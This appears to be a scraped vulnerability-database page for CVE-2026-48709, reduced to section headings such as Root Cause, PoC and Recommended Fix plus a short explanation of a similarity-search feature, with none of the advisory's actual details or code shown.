Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-48709 (GCVE-0-2026-48709)

FKIE_CVE-2026-48709

GHSA-F637-W7P2-M7FX

Summary

Details

Root Cause

Oracle Behavior

Binding ID Predictability

Scope

PoC

Prerequisites

Step 1: Verify other endpoints require auth

Step 2: Enumerate binding IDs via ValidateArgumentType

Step 3: Enumerate argument names for a known binding

Impact

Recommended Fix

Tags

Sightings

Nomenclature

Related by attack behaviour